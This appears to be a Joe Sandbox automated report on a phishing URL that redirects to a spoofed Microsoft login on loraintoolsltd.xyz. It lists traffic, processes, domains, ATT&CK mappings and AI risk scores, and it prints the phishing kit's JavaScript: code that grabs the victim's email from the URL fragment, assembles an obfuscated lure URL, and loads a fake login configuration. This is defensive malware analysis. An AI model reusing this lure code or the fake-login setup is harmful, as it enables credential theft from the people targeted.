Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: classification engine

Classification label: mal72.phis.troj.win@19/61@24/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2008,i,9276430533462754567,2952342445411814565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2008,i,9276430533462754567,2952342445411814565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://sahadayiz.com.tr/favicon.ico	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/FgJIoRDm?y=hZHJZ8Q	0%	Avira URL Cloud	safe
https://live.loraintoolsltd.xyz/Me.htm?v=3	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz	0%	Avira URL Cloud	safe
https://www.loraintoolsltd.xyz/login	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/favicon.ico	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/FgJIoRDm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
e329293.dscd.akamaiedge.net	2.23.227.214	true	false	high
login.loraintoolsltd.xyz	173.46.80.217	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
www.loraintoolsltd.xyz	173.46.80.217	true	true	unknown
s-part-0036.t-0009.t-msedge.net	13.107.246.64	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.164	true	false	high
sahadayiz.com.tr	217.18.85.38	true	false	unknown
live.loraintoolsltd.xyz	173.46.80.217	true	true	unknown
a1894.dscb.akamai.net	2.16.164.19	true	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/905d2bd4e92c7280/1737524029404/ffCWwu4GbIMA4Y4	false		high
https://login.loraintoolsltd.xyz/common/GetCredentialType?mkt=en-US	false	Avira URL Cloud: safe	unknown
http://sahadayiz.com.tr/favicon.ico	false	Avira URL Cloud: safe	unknown
https://login.loraintoolsltd.xyz/FgJIoRDm	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/672eb098a9f3/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d2bd4e92c7280&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ	false		high
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/905d2bd4e92c7280/1737524029403/12f79e512e0423c748eca4d65abffde3814f14b1a25f6e30ca2f3a987bf6c397/_knKJ7gMC0i7oAY	false		high
https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com	false		unknown
https://login.loraintoolsltd.xyz/favicon.ico	false	Avira URL Cloud: safe	unknown
https://login.loraintoolsltd.xyz/	true	Avira URL Cloud: safe	unknown
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com	false		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://www.loraintoolsltd.xyz/login	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/	false		high
https://live.loraintoolsltd.xyz/Me.htm?v=3	false	Avira URL Cloud: safe	unknown
https://login.loraintoolsltd.xyz/FgJIoRDm?y=hZHJZ8Q	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fontawesome.com	chromecache_66.2.dr	false		high
https://login.windows-ppe.net	chromecache_80.2.dr, chromecache_93.2.dr	false		high
https://login.loraintoolsltd.xyz	chromecache_80.2.dr, chromecache_93.2.dr	true	Avira URL Cloud: safe	unknown
https://fontawesome.com/license/free	chromecache_66.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
173.46.80.217	login.loraintoolsltd.xyz	United States	46261	QUICKPACKETUS	true
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
217.18.85.38	sahadayiz.com.tr	United Kingdom	15922	QWEB-ASNL	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
2.16.164.19	a1894.dscb.akamai.net	European Union	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596553
Start date and time:	2025-01-22 06:32:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@19/61@24/9

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 216.58.206.46, 64.233.184.84, 172.217.16.206, 142.250.181.238, 199.232.214.172, 2.23.77.188, 142.250.185.238, 142.250.185.174, 142.250.186.110, 172.217.16.202, 142.250.185.138, 142.250.184.202, 142.250.181.234, 142.250.185.234, 142.250.186.42, 142.250.186.74, 142.250.186.106, 142.250.185.106, 142.250.185.202, 172.217.16.138, 172.217.18.10, 142.250.186.170, 142.250.185.74, 216.58.206.74, 142.250.186.138, 20.189.173.7, 13.69.239.77, 172.217.16.195, 142.250.185.142, 184.28.90.27, 4.245.163.56, 13.107.246.64, 13.107.246.45, 13.107.246.61
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, onedscolprdwus06.westus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, onedscolprdneu09.northeurope.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com

Input	Output
URL: http://sahadayiz.com.tr Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'sahadayiz.com.tr' does not appear to closely resemble any known brand or legitimate URL. There are no obvious character substitutions or structural changes that suggest typosquatting. The domain 'sahadayiz' does not closely match any globally recognized brand name, and the '.com.tr' extension is a legitimate country code top-level domain for Turkey, which does not inherently suggest any deceptive intent. Without a clear connection to a known brand, the likelihood of this being a typosquatting attempt is very low."}
URL: http://sahadayiz.com.tr
URL: https://login.loraintoolsltd.xyz/FgJIoRDm#john.wal... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including data exfiltration, obfuscated URLs, and dynamic code execution. The script extracts a user's email from the URL fragment and redirects the user to a suspicious URL, which is a common phishing technique. Additionally, the script uses a Turnstile verification, which could be a social engineering tactic to collect user information. Overall, the combination of these behaviors suggests a high-risk, potentially malicious script." }
// Callback for the Turnstile verification function onloadTurnstileCallback() { turnstile.render('#turnstileCaptcha', { sitekey: '0x4AAAAAAA5pnBhoTgM91kpZ', callback: function(response) { // Enable the button after successful verification const verifyButton = document.getElementById('verifyButton'); if (verifyButton) { verifyButton.style.opacity = '1'; // Make button fully visible verifyButton.style.pointerEvents = 'auto'; // Enable pointer events } } }); } // Function to extract and display the fragment function displayEmailFromFragment() { var fragment = window.location.hash; if (fragment) { var email = fragment.substring(1).replace(/=*$/, ''); var emailDisplay = document.getElementById('grabbed-email'); if (emailDisplay) { emailDisplay.textContent = decodeURIComponent(email); } } } // Function to extract and clean the fragment function getFragment() { var fragment = window.location.hash; return fragment ? fragment : ''; } // Redirect function function redirectToLure() { const fragment = getFragment(); const finalUrl = 'htt' + 'ps:' + '//l' + 'ogi' + 'n.' + 'lor' + 'ai' + 'n' + 't' + 'oo' + 'l' + 'slt' + 'd' + '.' + 'xyz' + '/Fg' + 'JIo' + 'RDm' + '?' + 'y=' + 'hZH' + 'J' + 'Z' + '8' + 'Q' + fragment; // Replace with the actual lure URL // Execute redirect window.location.href = finalUrl; } // Call the function when the page loads document.addEventListener('DOMContentLoaded', function() { displayEmailFromFragment(); const verifyButton = document.getElementById('verifyButton'); if (verifyButton) { verifyButton.addEventListener('click', function(e) { e.preventDefault(); redirectToLure(); }); } });
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script contains several high-risk indicators, including the use of obfuscated URLs and the transmission of user data to an external domain. The URL for the MSA sign-up process appears to be heavily encoded, which is a common tactic used in malicious scripts. Additionally, the script is sending user data to a domain that is not a known, reputable service provider. While the script may have a legitimate purpose, the combination of these behaviors raises significant security concerns and warrants further investigation." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g\u0026response_mode=form_post\u0026nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy\u0026x-client-SKU=ID_N
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to potentially untrusted domains, the use of obfuscated URLs, and the presence of fallback domains. While the script appears to have a legitimate purpose related to authentication and authorization, the lack of transparency and the use of some risky practices warrant further review. The overall risk score is in the medium range, indicating the need for closer inspection to ensure the script's security and integrity." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g\u0026response_mode=form_post\u0026nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=f30ca7ff74e34170af22dce49ca63576\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQE3BbODRlLuc1gzRVuM6G_FMoyy0l_EFGDT2ojtjJEbU3KQ_iSiPJUA0xo--x7k8ZHyWP6YOuZViqLku3-YT5BoZ754M_tJnYgA5X1iTN1NVEC6c5Pn7oSjGajtJfk8_tVIregvYYlnpReYlWTaiqEKccYPeY1cYzr7ojK3dQK9b5jsepTmEwKl26A0_hOasWm3SJcXpmjE9vUzTl1_nM5BiAA\u0026jshs=0","urlMsaLogout":"https://live.loraintoolsltd.xyz/logout.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","urlOtherIdpForget":"https://live.loraintoolsltd.xyz/forgetme.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","showCantAccessAccountLink":true,"urlGitHubFed":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g\u0026response_mode=form_post\u0026nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=f30ca7ff74e34170af22dce49ca63576\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQEymNZSLFWt4Xn2CC-AtUDAMUpYfEpKggALmniB6J-Fb0Qj3Ub5a5uEzNssTnZXTpEuNxkMkR9HWydCB31fDxOR0lVy2nei1mg3VBl8xZ7_yG8P_NVFKRNNKgMOOrI8gVV4k_FfGYMGm2a6W-JHkpFJq_zeRsU-64eVu4lokt9GRmDcmqXg1S8zyxzNW0e7JpbGUBvQJ1C88cdatN59JcdjyAA\u0026jshs=0\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. The use of obfuscated code and the attempt to bypass the same-origin policy by redirecting to the parent frame are also concerning. While the script may have a legitimate purpose, the overall behavior is highly suspicious and requires further investigation." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(e.self===e.top){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that warrant further review. While it does not exhibit any clear high-risk indicators, there are some moderate-risk factors present, such as external data transmission and the use of fallback domains. Additionally, the script appears to be related to authentication and authorization functionality, which requires careful scrutiny. Overall, the script exhibits a medium level of risk and should be analyzed in more detail to ensure it is not engaging in any malicious activities." }
